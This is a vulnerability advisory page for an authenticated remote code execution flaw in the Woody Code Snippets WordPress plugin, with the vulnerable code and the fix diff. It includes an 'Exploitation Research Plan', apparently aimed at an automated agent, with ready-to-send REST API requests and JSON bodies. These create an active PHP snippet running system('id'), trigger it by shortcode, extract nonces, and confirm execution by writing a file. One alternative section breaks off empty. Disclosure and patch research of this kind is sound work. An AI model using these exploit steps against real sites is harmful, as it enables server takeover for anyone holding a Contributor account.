Woody Code Snippets – Insert PHP, CSS, JS, and Header/Footer Scripts <= 2.7.1 - Authenticated (Contributor+) Remote Code Execution
Description
The Woody Code Snippets – Insert PHP, CSS, JS, and Header/Footer Scripts plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.7.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.7.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25366 - Woody Code Snippets RCE ## 1. Vulnerability Summary The **Woody Code Snippets** plugin (version <= 2.7.1) is vulnerable to Authenticated Remote Code Execution (RCE) via the improper control of its custom post type `wbcr-snippets`. The plugin allows use…
Show full research plan
Exploitation Research Plan: CVE-2026-25366 - Woody Code Snippets RCE
1. Vulnerability Summary
The Woody Code Snippets plugin (version <= 2.7.1) is vulnerable to Authenticated Remote Code Execution (RCE) via the improper control of its custom post type wbcr-snippets. The plugin allows users to create and execute PHP code snippets. While intended for administrators, the custom post type wbcr-snippets (defined in insert_php.php) does not implement strict capability checks, allowing users with the edit_posts capability (Contributor level and above) to create or modify snippets. When these snippets are rendered via shortcode, the PHP code in post_content is executed on the server.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (
/wp-json/wp/v2/wbcr-snippets) or the classic post editor (/wp-admin/post-new.php?post_type=wbcr-snippets). - Required Role: Contributor or higher (any role with
edit_posts). - Payload: PHP code contained within the
post_contentof awbcr-snippetspost. - Preconditions: The snippet must be marked as "active" (
wbcr_inp_snippet_activate= 1) and have its type set to "php" (wbcr_inp_snippet_type= 'php').
3. Code Flow
- Creation: A Contributor user creates a post of type
wbcr-snippets. - Metadata: The plugin uses metadata to determine snippet behavior. If the REST API or the
save_posthook does not restrict metadata modification, the attacker sets:wbcr_inp_snippet_type=phpwbcr_inp_snippet_activate=1wbcr_inp_snippet_scope=shortcode
- Execution:
- The attacker inserts the shortcode
[wbcr_php_snippet id=NEW_ID]into a regular post or page. - The
WINP_SnippetShortcode::render()method inincludes/shortcodes/shortcodes.phpis triggered. - It calls
get_snippet_content()(line 212), which retrieves code viaWINP_Helper::get_snippet_code( $snippet )(which returnspost_content). - The code is passed to
WINP_Plugin::app()->get_execute_object()->prepareCode(), which executes the PHP content.
- The attacker inserts the shortcode
4. Nonce Acquisition Strategy
To interact with the REST API or perform AJAX actions, a valid WordPress nonce is required.
- REST API Nonce:
- Use the
browser_navigatetool to log in and access/wp-admin/. - Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject:window.wpApiSettings?.nonce
- Use the
- Shortcode/UI Nonces:
- The plugin does not appear to use a specific nonce for shortcode rendering as it is a standard WordPress feature.
- If an AJAX save is required, check the page source for
winp_ajaxor similar localization keys using:window.winp_ajax?.nonce
5. Exploitation Strategy
Step 1: Create the Snippet via REST API
Submit a request to create a new PHP snippet.
- Method:
POST - URL:
/wp-json/wp/v2/wbcr-snippets - Headers:
X-WP-Nonce:[REST_NONCE]Content-Type:application/json
- Body:
{
"title": "System Check",
"content": "<?php system('id'); ?>",
"status": "publish",
"meta": {
"wbcr_inp_snippet_type": "php",
"wbcr_inp_snippet_activate": 1,
"wbcr_inp_snippet_scope": "shortcode"
}
}
Step 2: Trigger Execution
Create a standard post or use the preview feature to execute the shortcode.
- Method:
POST - URL:
/wp-json/wp/v2/posts - Body:
{
"title": "Trigger Page",
"content": "[wbcr_php_snippet id=[CREATED_ID]]",
"status": "publish"
}
- Navigation: Access the URL of the created post or its preview:
/index.php?p=[POST_ID].
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure Woody Code Snippets v2.7.1 is installed and active.
- Settings: No special settings are required, as the default configuration allows shortcode execution.
7. Expected Results
- The REST API request should return a
201 Createdstatus with the ID of the new snippet. - Upon visiting the post containing the shortcode, the output of the
idcommand (e.g.,uid=33(www-data) ...) should be visible in the HTML response.
8. Verification Steps
- WP-CLI Verification:
- Check if the snippet exists:
wp post list --post_type=wbcr-snippets. - Verify metadata:
wp post meta list [ID].
- Check if the snippet exists:
- Execution Check:
- Confirm RCE by attempting to write a file:
<?php file_put_contents('pwn.txt', 'exploited'); ?>. - Check for the file via CLI:
ls /var/www/html/pwn.txt.
- Confirm RCE by attempting to write a file:
9. Alternative Approaches
Alternative: Classic Editor Submission
If the REST API does not allow metadata updates for the CPT, use the classic editor's save hook:
- Method:
POST - URL:
/wp-admin/post.php - Parameters:
action:editpostpost_ID:[CREATED_ID]content:<?php system('id'); ?>wbcr_inp_snippet_type:phpwbcr_inp_snippet_activate:1wbcr_inp_snippet_scope:shortcode_wpnonce: Obtain fromwp_nonce_fieldin the post editor page.
Alternative: Universal Snippet
If the PHP-specific shortcode is restricted, try the universal shortcode:
Summary
The Woody Code Snippets plugin for WordPress is vulnerable to Remote Code Execution via the `wbcr-snippets` custom post type. Authenticated attackers with Contributor-level access or higher can create or modify snippets containing arbitrary PHP code and trigger their execution using a shortcode, as the plugin fails to strictly validate post types and lacks proper capability checks for snippet management.
Vulnerable Code
// includes/class.helpers.php:158 public static function get_snippet_type( $post_id = null ) { global $post; $_post = $post; $snippet_type = WINP_HTTP::get( 'winp_item', WINP_SNIPPET_TYPE_PHP, 'sanitize_key' ); $get_post = WINP_HTTP::get( 'post', '' ); if ( empty( $post_id ) && ! empty( $get_post ) && ! is_array( $get_post ) ) { $post_id = esc_attr( $get_post ); } if ( ! empty( $post_id ) ) { $_post = get_post( $post_id ); } if ( ! empty( $_post ) && WINP_SNIPPETS_POST_TYPE === $_post->post_type ) { $_snippet_type = get_post_meta( $_post->ID, 'wbcr_inp_snippet_type', true ); $snippet_type = $_snippet_type ? $_snippet_type : $snippet_type; } return $snippet_type; } --- // includes/shortcodes/shortcodes.php:152 public function get_snippet_id( $attr, $type ) { $id = isset( $attr['id'] ) ? (int) $attr['id'] : null; if ( $id && WINP_Helper::get_snippet_type( $id ) !== $type ) { $id = 0; } return $id; }
Security Fix
@@ -158,7 +158,7 @@ * * @param mixed $post_id Post ID. * - * @return array|mixed|string + * @return string|false Snippet type string, or false if post is not a valid snippet post type or not found. */ public static function get_snippet_type( $post_id = null ) { global $post; @@ -174,6 +174,12 @@ if ( ! empty( $post_id ) ) { $_post = get_post( $post_id ); + + // Security: Validate that the post belongs to the snippet post type + // to prevent arbitrary post content execution via shortcodes. + if ( empty( $_post ) || WINP_SNIPPETS_POST_TYPE !== $_post->post_type ) { + return false; + } } if ( ! empty( $_post ) && WINP_SNIPPETS_POST_TYPE === $_post->post_type ) { @@ -152,8 +152,18 @@ public function get_snippet_id( $attr, $type ) { $id = isset( $attr['id'] ) ? (int) $attr['id'] : null; - if ( $id && WINP_Helper::get_snippet_type( $id ) !== $type ) { - $id = 0; + $snippet_type = null; + + // Only resolve snippet type when a valid (truthy) ID is provided to avoid + // unnecessary request parsing or database lookups for invalid IDs. + if ( $id ) { + $snippet_type = WINP_Helper::get_snippet_type( $id ); + + // Security: Reject if get_snippet_type() returned false (invalid post type) + // or if the snippet type doesn't match the expected type. + if ( false === $snippet_type || $snippet_type !== $type ) { + $id = 0; + } } return $id;
Exploit Outline
The exploit involves an authenticated attacker with at least Contributor privileges leveraging the `wbcr-snippets` custom post type. 1. **Snippet Creation**: The attacker creates a new post of type `wbcr-snippets` using the WordPress REST API or the classic post editor. 2. **Metadata Injection**: The attacker sets specific metadata for the snippet: `wbcr_inp_snippet_type` to `php`, `wbcr_inp_snippet_activate` to `1`, and `wbcr_inp_snippet_scope` to `shortcode`. 3. **Payload Delivery**: The attacker places malicious PHP code (e.g., `<?php system('id'); ?>`) within the `post_content` field of the created snippet post. 4. **Shortcode Execution**: The attacker inserts the plugin's shortcode referencing the new snippet ID (e.g., `[wbcr_php_snippet id=NEW_ID]`) into a standard WordPress post or page. 5. **Trigger**: When the attacker or any site visitor views the page containing the shortcode, the plugin retrieves the snippet's content and executes it as PHP code on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.